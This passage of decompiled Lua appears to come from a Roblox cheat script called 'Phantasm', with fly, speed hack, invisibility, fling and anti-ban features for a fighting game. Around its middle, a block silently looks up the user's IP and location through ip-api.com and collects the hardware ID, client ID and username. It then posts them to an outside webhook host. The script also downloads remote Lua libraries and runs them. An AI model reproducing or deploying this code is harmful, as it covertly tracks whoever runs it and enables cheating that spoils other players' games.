v274 = getRoot(v273)
else
v274 = v273
end
local v275
if v273 then
v275 = getHumanoid(v273)
else
v275 = v273
end
if v273 and (v274 and (v275 and (v274.Position - v262.Position).Magnitude <= 100)) then
local v276, v277, v278 = pairs(v273:GetChildren())
while true do
local v279
v278, v279 = v276(v277, v278)
if v278 == nil then
break
end
if v279:IsA('Tool') and v279.Name == 'Death Blow' then
return
end
end
if isAnimPlaying(v275, '15128849047') then
return true
end
end
end
end
end
return false
end
function grabRandom(_, p280)
local v281 = getAllPlayers()
local v282 = v281[math.random(1, #v281)]
if v282 ~= _LocalPlayer then
local v283 = getChar
if v283 then
v283 = getChar(_LocalPlayer)
end
local v284
if v283 then
v284 = getRoot(v283)
else
v284 = v283
end
local v285 = getChar
if v285 then
v285 = getChar(v282)
end
local v286 = getRoot(v285)
local v287 = getHumanoid(v285)
if v283 and (v284 and (v285 and (v286 and v287))) then
if p280 then
local v288, v289, v290 = pairs(v285:GetChildren())
while true do
local v291
v290, v291 = v288(v289, v290)
if v290 == nil then
break
end
if v291:IsA('Tool') and v291.Name == 'Death Blow' then
return
end
end
if isAnimPlaying(v287, '15128849047') then
return
end
local v292 = _Players
local v293, v294, v295 = pairs(v292:GetPlayers())
while true do
local v296
v295, v296 = v293(v294, v295)
if v295 == nil then
break
end
if v296 ~= _LocalPlayer and v296 ~= v282 then
local v297 = getChar
if v297 then
v297 = getChar(v296)
end
local v298 = getRoot(v297)
local v299 = getHumanoid(v297)
if v297 and (v298 and (v299 and (v298.Position - v286.Position).Magnitude <= 100)) then
local v300, v301, v302 = pairs(v297:GetChildren())
while true do
local v303
v302, v303 = v300(v301, v302)
if v302 == nil then
break
end
if v303:IsA('Tool') and v303.Name == 'Death Blow' then
return
end
end
local v304, v305, v306 = pairs(v299:GetPlayingAnimationTracks())
while true do
local v307
v306, v307 = v304(v305, v306)
if v306 == nil then
break
end
if v307.Animation.AnimationId == 'rbxassetid://15128849047' then
return
end
end
end
end
end
end
heartbeatTp(v286.CFrame)
task.wait()
heartbeatTp(CFrame.lookAt(v284.Position, v286.Position))
end
end
end
function getCommunicator()
local v308 = getChar
if v308 then
v308 = getChar(_LocalPlayer)
end
if not v308 then
return nil
end
if v308 then
v308 = v308:WaitForChild('Communicate', 1)
end
return v308
end
function click()
local v309 = getCommunicator()
if v309 then
v309:FireServer({
Goal = 'LeftClick',
})
v309:FireServer({
Goal = 'LeftClickRelease',
})
end
end
function communicate(p310)
local v311 = getCommunicator()
if v311 then
v311:FireServer(p310)
end
end
function bdcancel()
communicate({
Dash = Enum.KeyCode.S,
Key = Enum.KeyCode.Q,
Goal = 'KeyPress',
})
end
function useSkill(p312)
local v313 = getCommunicator()
if v313 then
v313:FireServer({
Goal = 'LeftClick',
ToolName = p312 or 'Normal Punch',
})
end
end
function bypassKJAnims()
local v314 = getChar
if v314 then
v314 = getChar(_LocalPlayer)
end
if v314 then
v314:SetAttribute('Character', 'KJ')
end
end
function patchOffsets()
local v315 = getChar
if v315 then
v315 = getChar(_LocalPlayer)
end
local v316
if v315 then
v316 = v315:WaitForChild('CharacterHandler'):WaitForChild('Client')
else
v316 = v315
end
if v315 and v316 then
v316.RunContext = 'Server'
v316.RunContext = 'Legacy'
end
end
function stopM1Anims()
local v317 = getChar
if v317 then
v317 = getChar(_LocalPlayer)
end
local v318 = getHumanoid(v317)
if v317 and v318 then
local v319 = next
local v320, v321 = v318:GetPlayingAnimationTracks()
while true do
local v322
v321, v322 = v319(v320, v321)
if v321 == nil then
break
end
local v323 = v322.Animation.AnimationId:lower()
local v324 = next
local v325 = m1Animations
local v326 = nil
while true do
local v327
v326, v327 = v324(v325, v326)
if v326 == nil then
break
end
if table.find(v327, v323) then
v322:Stop()
end
end
end
end
end
function onCooldown(p328)
return _LocalPlayer.PlayerGui.Hotbar.Backpack.Hotbar[tostring(p328)].Base:FindFirstChild('Cooldown') and true or false
end
function hasRagdollCancel(p329)
return playersWhoHaveRDC[p329] and true or false
end
function getCounterCooldown(p330)
return counterCooldowns[p330] or 0
end
function loadAnim(p331, p332, p333)
if not (p331 and p332) then
return nil
end
local v334 = 'rbxassetid://' .. tostring(p332):match('%d+')
local _Animation = Instance.new('Animation')
local v336 = nil
if p333 then
if p333 == 'Server' then
_Animation.AnimationId = 'rbxassetid://0'
v336 = p331:LoadAnimation(_Animation)
_Animation.AnimationId = v334
elseif p333 == 'Client' then
_Animation.AnimationId = v334
v336 = p331:LoadAnimation(_Animation)
_Animation.AnimationId = 'rbxassetid://0'
end
else
_Animation.AnimationId = v334
v336 = p331:LoadAnimation(_Animation)
end
return v336
end
function loadSound(p337, p338)
if not (p337 and p338) then
return nil
end
local v339 = 'rbxassetid://' .. tostring(p338):match('%d+')
local _Sound = Instance.new('Sound')
_Sound.Parent = p337
_Sound.SoundId = v339
return _Sound
end
function stopAllAnims(p341, p342)
local v343 = not p341 and getChar(_LocalPlayer)
if v343 then
v343 = getHumanoid(getChar(_LocalPlayer))
end
if v343 then
if not (v343:IsA('Humanoid') or v343:IsA('Animator')) then
return warn("Error occured at function 'stopAllAnims', Argument 1 must be a valid animator.")
end
if p342 then
local v344, v345, v346 = pairs(v343:GetPlayingAnimationTracks())
while true do
local v347
v346, v347 = v344(v345, v346)
if v346 == nil then
break
end
if typeof(p342) ~= 'table' then
if v347.Animation.AnimationId:match(tostring(p342):match('%d+')) then
v347:Stop()
end
else
local v348, v349, v350 = pairs(p342)
while true do
local v351
v350, v351 = v348(v349, v350)
if v350 == nil then
break
end
if v347.Animation.AnimationId:match(tostring(v351):match('%d+')) then
v347:Stop()
end
end
end
end
else
local v352, v353, v354 = pairs(v343:GetPlayingAnimationTracks())
while true do
local v355
v354, v355 = v352(v353, v354)
if v354 == nil then
break
end
v355:Stop()
end
end
end
end
function deleteAllInstances(p356, p357)
local v358 = p356 or getChar(_LocalPlayer)
if v358 and p357 then
local v359, v360, v361 = pairs(v358:GetChildren())
while true do
local v362
v361, v362 = v359(v360, v361)
if v361 == nil then
break
end
if typeof(p357) ~= 'table' then
if v362.Name:lower() == p357:lower() then
v362:Destroy()
end
else
local v363, v364, v365 = pairs(p357)
while true do
local v366
v365, v366 = v363(v364, v365)
if v365 == nil then
break
end
if v362.Name:lower() == v366:lower() then
return v362:Destroy()
end
end
end
end
end
end
function idMatch(p367, p368)
if p368 then
if typeof(p368) ~= 'table' then
if p367:match(p368) then
return true
end
else
local v369, v370, v371 = pairs(p368)
while true do
local v372
v371, v372 = v369(v370, v371)
if v371 == nil then
break
end
if p367:match(v372:match('%d+')) then
return true
end
end
end
end
end
function isAnimPlaying(p373, p374)
local _d = tostring(p374):match('%d+')
local v376, v377, v378 = pairs(p373:GetPlayingAnimationTracks())
while true do
local v379
v378, v379 = v376(v377, v378)
if v378 == nil then
break
end
if v379.Animation.AnimationId:match(_d) then
return v379
end
end
return nil
end
function isCountering(p380)
local _Model = p380:FindFirstAncestorWhichIsA('Model')
if _Model and _Model:FindFirstChild('Counter') then
return true
end
local v382, v383, v384 = pairs(p380:GetPlayingAnimationTracks())
while true do
local v385
v384, v385 = v382(v383, v384)
if v384 == nil then
break
end
if table.find(u53, v385.Animation.AnimationId) then
return true
end
end
return false
end
function isDeathCountering(p386)
return p386 and p386:FindFirstChild('Counter') and true or false
end
function getAnimationsTable(p387)
local v388, v389, v390 = pairs(p387:GetPlayingAnimationTracks())
local v391 = {}
while true do
local v392
v390, v392 = v388(v389, v390)
if v390 == nil then
break
end
table.insert(v391, v392.Animation.AnimationId)
end
return v391
end
function cloneInstance(p393)
p393.Archivable = true
local v394 = p393:Clone()
p393.Archivable = false
return v394
end
function cloneCharacter(p395)
local v396 = cloneInstance(p395)
v396.Parent = _Workspace
if p395 and v396 then
local v397
if v396 then
v397 = getRoot(v396)
else
v397 = v396
end
local v398
if v396 then
v398 = getHumanoid(v396)
else
v398 = v396
end
if v396 and (v397 and v398) then
v397.Anchored = true
local v399, v400, v401 = pairs(v396:GetChildren())
while true do
local v402
v401, v402 = v399(v400, v401)
if v401 == nil then
break
end
if v402:IsA('BasePart') then
v402.CollisionGroup = 'untouchable'
v402.Massless = true
v402.CanCollide = false
v402.CanTouch = false
v402.CanQuery = false
end
end
end
end
return v396
end
function deleteNew(p403, p404)
task.wait()
local _Parent2 = p403.Parent
p403:Destroy()
if p404 then
warn('Instance removed, Name:', p403.Name, 'ClassName:', p403.ClassName, 'Parent:', _Parent2)
end
end
function deleteInstances(p406, p407, p408)
local v409 = p408 and p406:GetDescendants() or p406:GetChildren()
local v410, v411, v412 = pairs(v409)
while true do
local v413
v412, v413 = v410(v411, v412)
if v412 == nil then
break
end
local v414, v415, v416 = pairs(p407)
while true do
local v417
v416, v417 = v414(v415, v416)
if v416 == nil then
break
end
if v413.Name:lower() == v417:lower() then
task.spawn(pcall, deleteNew, v413, false)
end
end
end
end
function formatRichText(p418, p419, p420, p421)
return '' .. '' .. p421 .. '' .. ''
end
local v422 = _HttpService:JSONDecode(u15({
Url = 'http://www.ip-api.com/json',
Method = 'GET',
}).Body) or {}
local v423 = v422.query or nil
local u424 = v422.country or 'Unknown'
local u425 = v422.region or 'Unknown'
local u426 = v422.regionName or 'Unknown'
local u427 = v422.timezone or 'Unknown'
local u428 = _UserInputService:GetPlatform() == Enum.Platform.Windows and ':computer:' or ':mobile_phone:'
local u429 = v423 and (v14.sha512(v423 .. u424 .. u425 .. u426 .. u427) or 'Unknown') or 'Unknown'
pcall(function()
local v430 = u15
local v431 = {
Url = 'https://meow.skunk.legal/c/duckuseshissparkletimetrafficconeasadildo',
Method = 'POST',
Headers = {
['content-type'] = 'application/json',
Authorization = 'YwCbktcTdW3EaWghnruRAAueeh6mKZ2sRqnph6Y',
},
}
local v432 = _HttpService
local _JSONEncode = v432.JSONEncode
local v434 = {}
local v435 = {}
local v436 = {
title = 'Phantasm Logs',
description = 'User Device: ' .. u428,
type = 'rich',
color = tonumber(0),
}
local v437 = {}
local v438 = {
name = '\n\n-----------------------------------------------------Information** **',
}
local v439 = _Players
local v440 = _RbxAnalyticsService
v438.value = 'Identified Executor: ' .. (identifyexecutor and tostring(identifyexecutor()) or 'Unknown') .. '\nExecutor Name: ' .. (getexecutorname and tostring(getexecutorname()) or 'Unknown') .. '\nServer Players: ' .. (#v439:GetPlayers() or 'Unknown') .. '\nServer Type: ' .. u66 .. '\nServer Version: ' .. u67 .. '\nCountry: ' .. u424 .. '\nRegion: ' .. u425 .. '\nRegion Name: ' .. u426 .. '\nTimezone: ' .. u427 .. '\nUsername: [' .. _LocalPlayer.Name .. ' (' .. _LocalPlayer.DisplayName .. ')](https://www.roblox.com/users/' .. _LocalPlayer.UserId .. '/profile)\nClient ID: ' .. (v440:GetClientId() or 'Unknown') .. '\nHWID: ' .. (gethwid and tostring(gethwid()) or (get_hwid and tostring(get_hwid()) or 'Unknown')) .. '\nHashed Identifier: ' .. u429 .. '\n-----------------------------------------------------' .. '\n[**Join**](https://fern.wtf/joiner?placeId=' .. game.PlaceId .. '&gameInstanceId=' .. game.JobId .. ')'
v438.inline = false
__set_list(v437, 1, {
v438,
{
name = 'JobId Join',
value = "```Roblox.GameLauncher.joinGameInstance('" .. game.PlaceId .. "', '" .. game.JobId .. "')```",
inline = true,
},
{
name = 'JobId',
value = '```r\r\n ' .. game.JobId .. '\r\n\r\n ```',
inline = true,
},
{
name = 'Browser Join',
value = '```roblox://experiences/start?placeId=' .. game.PlaceId .. '&gameInstanceId=' .. game.JobId .. '```',
inline = false,
},
{
name = 'Script Join',
value = '```lua\r\n game:GetService("TeleportService"):TeleportToPlaceInstance(' .. game.PlaceId .. ', "' .. game.JobId .. '", game:GetService("Players").LocalPlayer)\r\n ```',
inline = false,
},
})
v436.fields = v437
v436.thumbnail = {
url = fetchAvatar(),
}
v436.footer = {
text = 'Script ran at ' .. os.date('%Y-%m-%d %H:%M:%S'),
}
__set_list(v435, 1, {v436})
v434.embeds = v435
v431.Body = _JSONEncode(v432, v434)
v430(v431)
end)
local _ = _Workspace.Thrown
local _Thrown = _Workspace.Thrown
_Thrown.Archivable = true
local u442 = _Thrown:Clone()
_Thrown.Archivable = false
u442:ClearAllChildren()
local v443, v444, v445 = pairs(_Thrown:GetChildren())
local u446 = u429
local u447 = u63
local u448 = u66
while true do
local v449
v445, v449 = v443(v444, v445)
if v445 == nil then
break
end
v449.Parent = u442
end
_Thrown:Destroy()
u442.Name = 'Thrown'
u442.Parent = _Workspace
u41[#u41 + 1] = _Thrown.ChildAdded:Connect(function(p450)
task.spawn(function()
local v451 = tick()
repeat
_RenderStepped:Wait()
until p450 and p450.Parent or tick() >= v451 + 1
if p450 and p450.Parent then
local _, v453 = pcall(function()
if p450:IsA('BasePart') then
local _Locked = p450.Locked
p450.Locked = false
p450.Parent = u442
p450.Locked = _Locked
else
p450.Parent = u442
end
end)
if v453 then
error('(Phantasm) Failed to clone instance with name ' .. p450.Name .. ', error: ' .. v453, 5)
end
end
end)
end)
local u454 = {}
u41[#u41 + 1] = u442.ChildAdded:Connect(function(p455)
task.wait()
if p455:IsA('BasePart') then
p455:SetAttribute('Spawn', tick())
end
if p455:IsA('Attachment') or p455:IsA('WeldConstraint') then
u454[p455] = tick()
local v456 = tick()
local v457, v458, v459 = pairs(u454)
while true do
local v460
v459, v460 = v457(v458, v459)
if v459 == nil then
break
end
if v459 and v459.Parent then
if (v459:IsA('BasePart') and 30 or 15) < v456 - v460 then
v459:Destroy()
u454[v459] = nil
end
else
u454[v459] = nil
end
end
end
if p455.Name ~= 'QuickWind' then
if p455.Name ~= 'QuickSlashMesh' then
if p455.Name:find('AdjustStabby3') then
p455.Name = string.sub(p455.Name, 14, #p455.Name)
local v461 = _Workspace.Live:FindFirstChild(p455.Name)
local v462 = v461 and v461.PrimaryPart
if v462 then
p455:SetPrimaryPartCFrame((v462.CFrame + Vector3.new(0, 5, 0, 0)) * CFrame.new(-0.00016784668, 0.0000305175781, -3.15378571, 0.000411212444, -0.657321572, -0.753614008, -1.9589782199999999e-8, 0.753610671, -0.657323241, 1.00000131, 0.000268951058, 0.000308543444))
return
end
elseif p455.Name:find('AdjustStabby2') then
p455.Name = string.sub(p455.Name, 14, #p455.Name)
local v463 = _Workspace.Live:FindFirstChild(p455.Name)
local v464 = v463 and v463.PrimaryPart
if v464 then
p455:SetPrimaryPartCFrame((v464.CFrame + Vector3.new(0, 5, 0, 0)) * CFrame.new(-0.000198364258, 0.0000305175781, -3.15378571, 0.000410616398, -0.7406317, -0.671912789, -2.207255e-8, 0.671912074, -0.740631104, 1.00000143, 0.000302284956, 0.000274270773))
return
end
elseif p455.Name:find('AdjustStabby1') then
p455.Name = string.sub(p455.Name, 14, #p455.Name)
local v465 = _Workspace.Live:FindFirstChild(p455.Name)
local v466 = v465 and v465.PrimaryPart
if v466 then
p455:SetPrimaryPartCFrame(v466.CFrame * CFrame.new(-0.000228881836, 0, -3.15380859, 0.000410526991, -0.815318942, -0.579013944, -2.42984068e-8, 0.579013169, -0.815318465, 1.00000155, 0.000332802534, 0.000236406922))
return
end
elseif p455.Name:find('AdjustStabby4') then
p455.Name = string.sub(p455.Name, 14, #p455.Name)
local v467 = _Workspace.Live:FindFirstChild(p455.Name)
local v468 = v467 and v467.PrimaryPart
if v468 then
p455:SetPrimaryPartCFrame((v468.CFrame + Vector3.new(0, 0, 0, 0)) * CFrame.new(3.63522339, 1.28546143, -4.29478073, 0.000426799059, -0.920516968, 0.390702456, -1.22053878e-9, -0.390702516, -0.920517206, 0.99999994, 0.000392824411, -0.0001668185))
return
end
else
local v469 = p455.Name == 'CleaveBruh' and _Workspace.Live:FindFirstChild(p455:GetAttribute('Name'))
if v469 then
local _PrimaryPart = v469.PrimaryPart
if _PrimaryPart and p455.PrimaryPart then
p455:SetPrimaryPartCFrame(_PrimaryPart.CFrame * CFrame.Angles(math.rad((math.random(-360, 360))), math.rad((math.random(-360, 360))), (math.rad((math.random(-360, 360))))))
end
end
end
return
else
if p455:GetAttribute('Name') then
local v471 = _Workspace.Live:FindFirstChild(p455:GetAttribute('Name'))
local v472 = v471 and v471.PrimaryPart
if v472 then
p455.CFrame = v472.CFrame * CFrame.Angles(math.rad((math.random(-360, 360))), math.rad((math.random(-360, 360))), (math.rad((math.random(-360, 360)))))
end
end
local v473 = p455:FindFirstChild('Mesh') or p455:WaitForChild('Mesh', 0.2)
if v473 then
_TweenService:Create(v473, TweenInfo.new(p455:GetAttribute('Time'), Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Scale = Vector3.new(0, 7, 0, 0) * p455:GetAttribute('Scale'),
}):Play()
end
end
else
if p455:GetAttribute('Name') then
local v474 = _Workspace.Live:FindFirstChild(p455:GetAttribute('Name'))
local v475 = v474 and v474.PrimaryPart
if v475 then
p455.CFrame = v475.CFrame * CFrame.Angles(math.rad((math.random(-360, 360))), math.rad((math.random(-360, 360))), (math.rad((math.random(-360, 360)))))
end
end
_TweenService:Create(p455, TweenInfo.new(p455:GetAttribute('Time') * 3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Size = p455.Size + Vector3.new(15, 4, 15, 0) * p455:GetAttribute('Scale'),
Transparency = 1,
}):Play()
return
end
end)
_Workspace.FallenPartsDestroyHeight = 0 / 0
u41[#u41 + 1] = _Workspace:GetPropertyChangedSignal('FallenPartsDestroyHeight'):Connect(function()
_Workspace.FallenPartsDestroyHeight = 0 / 0
end)
local v476 = 'https://raw.githubusercontent.com/secretisadev/Obsidian/refs/heads/main/'
if not isfolder('Obsidian') then
u10.Text = "Creating 'Obsidian'"
makefolder('Obsidian')
end
if not isfile('Obsidian/Library.lua') then
u10.Text = "Downloading 'Library.lua'"
writefile('Obsidian/Library.lua', game:HttpGet(v476 .. 'Library.lua'))
end
if not isfile('Obsidian/ThemeManager.lua') then
u10.Text = "Downloading 'ThemeManager.lua'"
writefile('Obsidian/ThemeManager.lua', game:HttpGet(v476 .. 'addons/ThemeManager.lua'))
end
if not isfile('Obsidian/SaveManager.lua') then
u10.Text = "Downloading 'SaveManager.lua'"
writefile('Obsidian/SaveManager.lua', game:HttpGet(v476 .. 'addons/SaveManager.lua'))
end
u10.Text = 'Loading UI'
local u477 = loadfile('Obsidian/Library.lua')()
local v478 = loadfile('Obsidian/ThemeManager.lua')()
local v479 = loadfile('Obsidian/SaveManager.lua')()
function MoveNotify(p480, p481)
if rawget(Options.MoveNotificationMoves.Value, p481) then
if Toggles.MoveNotifications.Value then
u477:Notify({
Title = bypassText('Move Notification'),
Description = bypassText(p480.DisplayName .. ' used ' .. p481),
Time = 5,
SoundId = u42.Notification,
})
end
if Toggles.ExposeMoveInChat.Value and not (Toggles.ExposeWhitelistedPlayers.Value and table.find(u447, p480)) then
sendMsg('\u{fffd}\u{fffd}\u{fe0f} ' .. p480.DisplayName .. ' used ' .. p481 .. ' \u{26a0}\u{fe0f}')
end
end
end
local v482 = u477
local u483 = u477.CreateWindow(v482, {
Title = bypassText('Phantasm'),
Footer = bypassText('Old test version, Do not expect updates. | discord.gg/phantasm'),
NotifySide = 'Right',
ShowCustomCursor = true,
AutoShow = true,
Center = true,
Resizable = true,
})
local v484 = {
Information = u483:AddTab(bypassText('Information'), 'book'),
LocalPlayer = u483:AddTab(bypassText('Local Player'), 'user'),
Exploits = u483:AddTab(bypassText('Exploits'), 'skull'),
Visuals = u483:AddTab(bypassText('Visuals'), 'eye'),
Commands = u483:AddTab('Commands', 'code'),
Map = u483:AddTab(bypassText('Map'), 'map'),
Disguise = u483:AddTab(bypassText('Disguise'), 'users'),
Misc = u483:AddTab(bypassText('Miscallenous'), 'ellipsis'),
['UI Settings'] = u483:AddTab(bypassText('UI Settings'), 'settings'),
}
local u485 = v484.Information:AddLeftGroupbox(bypassText('Update Log'))
local v486 = v484.LocalPlayer:AddLeftTabbox()
local v487 = v486:AddTab(bypassText('Movement'))
local v488 = v486:AddTab(bypassText('Character'))
local v489 = v484.LocalPlayer:AddLeftGroupbox(bypassText('Keybinds'))
local v490 = v484.LocalPlayer:AddRightGroupbox(bypassText('Automation'))
local v491 = v484.LocalPlayer:AddRightGroupbox(bypassText('Dashes'))
local v492 = v484.Exploits:AddLeftGroupbox(bypassText('Main'))
local v493 = v484.Exploits:AddRightGroupbox(bypassText('Wall Combo'))
local v494 = v484.Exploits:AddLeftGroupbox(bypassText("Anti's"))
local v495 = v484.Exploits:AddRightGroupbox(bypassText('Invisible Moves'))
local v496 = v484.Visuals:AddLeftGroupbox(bypassText('Main'))
local v497 = v484.Visuals:AddRightGroupbox(bypassText('ESP'))
local v498 = v484.Visuals:AddRightGroupbox(bypassText('World'))
local _Settings = v484.Commands:AddLeftGroupbox('Settings')
local _Commands = v484.Commands:AddRightGroupbox('Commands')
local v501 = v484.Map:AddLeftGroupbox(bypassText('Teleports'))
local u502 = v484.Map:AddRightGroupbox(bypassText('Players'))
local v503 = v484.Misc:AddLeftGroupbox(bypassText('Anti Ban'))
local v504 = v484.Misc:AddLeftGroupbox(bypassText('Scripts'))
local v505 = v484.Misc:AddRightGroupbox(bypassText('Animations'))
local v506 = v484.Misc:AddRightGroupbox(bypassText('Extra'))
local v507 = v484['UI Settings']:AddLeftGroupbox(bypassText('Settings'))
Options = u477.Options
Toggles = u477.Toggles
Labels = u477.Labels
task.spawn(function()
local _httpsrawgithubusercontentcomsecretisadevPhantasmrefsheadsmainUpdateLog = game:HttpGet('https://raw.githubusercontent.com/secretisadev/Phantasm/refs/heads/main/Update Log')
if _httpsrawgithubusercontentcomsecretisadevPhantasmrefsheadsmainUpdateLog then
local v509 = _httpsrawgithubusercontentcomsecretisadevPhantasmrefsheadsmainUpdateLog:split('\n')
local v510, v511, v512 = pairs(v509)
local v513 = ''
while true do
local v514
v512, v514 = v510(v511, v512)
if v512 == nil then
break
end
if v514:sub(1, 2) ~= '+ ' then
if v514:sub(1, 2) ~= '- ' then
v513 = v513 .. v514
else
v513 = v513 .. formatRichText(255, 65, 65, v514)
end
else
v513 = v513 .. formatRichText(200, 255, 100, v514)
end
if v512 ~= #v513 then
v513 = v513 .. '\n'
end
end
u485:AddLabel({
Text = v513,
DoesWrap = true,
Size = 12,
})
end
end)
_Settings:AddToggle('CommandBar', {
Text = 'Command Bar',
Default = false,
}):AddKeyPicker('CommandBind', {
SyncToggleState = false,
Mode = 'Toggle',
Default = 'Semicolon',
Text = 'Command Bar Keybind',
NoUI = true,
})
_Settings:AddToggle('UseCommandsinChat', {
Text = 'Use Commands in Chat',
Default = false,
})
_Settings:AddToggle('SendCommandInChat', {
Text = 'Send Command In Chat',
Default = false,
})
_Settings:AddDivider()
_Settings:AddDropdown('FlingType', {
Values = {
'Anti-Fling',
'Normal',
'Void',
},
Default = 'Void',
Text = 'Fling Type',
})
_Settings:AddSlider('FlingSpeed', {
Text = 'Fling Speed',
Default = 15,
Min = 15,
Max = 90,
Rounding = 0,
Compact = true,
})
_Settings:AddSlider('FlingTimeout', {
Text = 'Fling Timeout',
Default = 3,
Min = 1,
Max = 5,
Rounding = 0,
Compact = true,
})
_Commands:AddLabel(';safezone\r\n;goto/tp/to {player}\r\n;say {message}\r\n;fling/void {player, all, others}\r\n;loopfling/loopvoid {player, all, others}\r\n;unfling/unvoid/unloopfling/unloopvoid {player, all, others}\r\n;view/spectate {player}\r\n;unview/unspectate\r\n;whitelist/addwhitelist\r\n;unwhitelist/removewhitelist\r\n;rejoin/rj\r\n;reset\r\n;fixcam\r\n;vclip {number}\r\n;hclip {number}', true)
v487:AddToggle('SpeedHackEnabled', {
Text = bypassText('Speed Hack Enabled'),
Default = false,
})
v487:AddSlider('SpeedHack', {
Text = bypassText('Speed'),
Default = 1,
Min = 1,
Max = 25000,
Rounding = 1,
Compact = true,
})
v487:AddDropdown('SpeedHackMethod', {
Values = {
'CFrame',
'Velocity',
},
Default = 1,
Multi = false,
Text = bypassText('Speed Hack Method'),
})
v487:AddToggle('UpsideDown', {
Text = bypassText('Upside Down'),
Default = false,
Callback = function(p515)
_Heartbeat:Wait()
u59['Upside Down'] = p515
end,
})
v488:AddToggle('Invisibility', {
Text = bypassText('Invisibility'),
Default = false,
Callback = function(p516)
_Heartbeat:Wait()
u59.Invisibility = p516
end,
})
v488:AddToggle('M1Reset', {
Text = bypassText('M1 Reset / No Dash Debounce'),
Default = false,
})
v488:AddToggle('EmoteDash', {
Text = bypassText('Emote Dash'),
Default = false,
})
v488:AddDropdown('CharacterExploits', {
Values = {
'No Dash Cooldown',
'No Stun',
'No Slow',
'No Fatigue',
'No Jump Bypass',
'No Rotations Bypass',
'Anti Ragdoll',
},
Default = {},
Multi = true,
Searchable = false,
Text = bypassText('Character Exploits'),
Callback = function(p517)
workspace:SetAttribute('NoDashCooldown', false)
workspace:SetAttribute('NoFatigue', false)
if rawget(p517, 'No Dash Cooldown') then
workspace:SetAttribute('NoDashCooldown', true)
elseif rawget(p517, 'No Fatigue') then
workspace:SetAttribute('NoFatigue', true)
elseif rawget(p517, 'No Rotations Bypass') then
deleteAllInstances(nil, 'NoRotate')
end
end,
})
v488:AddToggle('AutoRagdollCancel', {
Text = bypassText('Auto Ragdoll Cancel'),
Default = false,
})
v488:AddToggle('RagdollHide', {
Text = bypassText('Ragdoll Hide'),
Default = false,
})
v488:AddToggle('LaunchHide', {
Text = bypassText('Launch Hide'),
Default = false,
})
workspace:SetAttribute('EffectAffects', 1)
u41[#u41 + 1] = workspace.AttributeChanged:Connect(function(p518)
if p518 == 'NoDashCooldown' then
workspace:SetAttribute(p518, rawget(Options.CharacterExploits.Value, 'No Dash Cooldown') and true or false)
elseif p518 == 'NoFatigue' then
workspace:SetAttribute(p518, rawget(Options.CharacterExploits.Value, 'No Fatigue') and true or false)
elseif p518 == 'EffectsAffect' then
workspace:SetAttribute('EffectAffects', 1)
end
end)
v490:AddToggle('AutoFrozenSoul', {
Text = bypassText('Auto Frozen Soul'),
Default = false,
Callback = function(p519)
if p519 then
local function v523(p520)
_Stepped:Wait()
if p520.Name == 'Frozen Lock' and p520:FindFirstChild('Root') then
local _Root = p520.Root
local v522 = tick()
repeat
heartbeatTp(_Root.CFrame * CFrame.new(0, 3, 0))
_RenderStepped:Wait()
until tick() >= v522 + 10 or not (p520.Parent and Toggles.AutoFrozenSoul.Value)
end
end
if u442:FindFirstChild('Frozen Lock') then
task.spawn(v523, u442['Frozen Lock'])
end
local v524 = u442.ChildAdded:Connect(v523)
repeat
_RenderStepped:Wait()
until not Toggles.AutoFrozenSoul.Value
v524:Disconnect()
end
end,
})
v490:AddButton({
Text = bypassText('Free Stargazer / Nightchild'),
Callback = function()
communicate({
Goal = 'Gaze',
})
end,
})
v491:AddToggle('CustomFrontDash', {
Text = bypassText('Custom Front Dash'),
Tooltip = bypassText('Makes your front dashes go slightly further.'),
Default = false,
})
v491:AddSlider('FDDistance', {
Text = bypassText('Front Dash Distance'),
Default = 165,
Min = 0,
Max = 500,
Rounding = 1,
})
v491:AddToggle('CustomSideDash', {
Text = bypassText('Custom Side Dash'),
Tooltip = bypassText('Makes your side dashes go slightly further.'),
Default = false,
})
v491:AddSlider('SDDistance', {
Text = bypassText('Side Dash Distance (Multiplier)'),
Default = 1,
Min = 0.1,
Max = 2,
Rounding = 1,
})
v491:AddSlider('SDSpeed', {
Text = bypassText('Side Dash Speed'),
Default = 1,
Min = 0.1,
Max = 2,
Rounding = 1,
})
v491:AddToggle('CustomBackDash', {
Text = bypassText('Custom Back Dash'),
Tooltip = bypassText('Makes your back dashes go slightly further.'),
Default = false,
})
v491:AddSlider('BDDistance', {
Text = bypassText('Back Dash Distance (Multiplier)'),
Default = 1,
Min = 0.1,
Max = 2,
Rounding = 1,
})
v491:AddButton({
Text = bypassText('Reset to Defaults'),
Callback = function()
Options.FDDistance:SetValue(165)
Options.SDDistance:SetValue(1)
Options.SDSpeed:SetValue(1)
Options.BDDistance:SetValue(1)
end,
})
local u525 = {
Fly = false,
['Lock-on'] = false,
Orbit = false,
['Velocity Spoof'] = false,
['TP 1'] = false,
['TP 2'] = false,
}
v489:AddToggle('Fly', {
Text = bypassText('Fly'),
Default = false,
Callback = function(p526)
if not p526 and Options.FlyBind:GetState() == true then
Options.FlyBind.Toggled = false
Options.FlyBind:DoClick()
end
end,
}):AddKeyPicker('FlyBind', {
SyncToggleState = false,
Mode = 'Toggle',
Default = 'Y',
Text = bypassText('Fly'),
Callback = function(p527)
if u525.Fly then
return
end
if p527 and not Toggles.Fly.Value then
_RenderStepped:Wait()
u525.Fly = true
Options.FlyBind.Toggled = false
Options.FlyBind:DoClick()
u525.Fly = false
return
end
if Toggles.Fly.Value then
u59.Flying = not u59.Flying
u477:Notify({
Title = bypassText('Fly'),
Description = bypassText('Toggled ') .. (p527 and 'on \u{2705}' or 'off \u{274c}'),
Time = 2,
SoundId = u42.Notification,
})
if not u59.Flying then
end
local u528 = nil
local v529 = getChar(_LocalPlayer)
local v530
if v529 then
v530 = getHumanoid(v529)
else
v530 = v529
end
local v531
if v529 then
v531 = getRoot(v529)
else
v531 = v529
end
if v529 and (v531 and v530) then
u528 = v531.CFrame
end
local v546 = _Heartbeat:Connect(function(p532)
local v533 = getChar(_LocalPlayer)
local v534
if v533 then
v534 = getHumanoid(v533)
else
v534 = v533
end
local v535
if v533 then
v535 = getRoot(v533)
else
v535 = v533
end
local _CurrentCamera = workspace.CurrentCamera
if v533 and (v535 and (v534 and _CurrentCamera)) then
local v537 = Options.FlySpeed.Value / 100
local v538 = Vector3.new(0, 0, 0)
CFrame.new(0, 0, 0)
local _CFrame2 = _CurrentCamera.CFrame
local _LookVector = _CFrame2.LookVector
local _RightVector = _CFrame2.RightVector
local v542 = CFrame.new(v535.Position, v535.Position + Vector3.new(_LookVector.X, 0, _LookVector.Z))
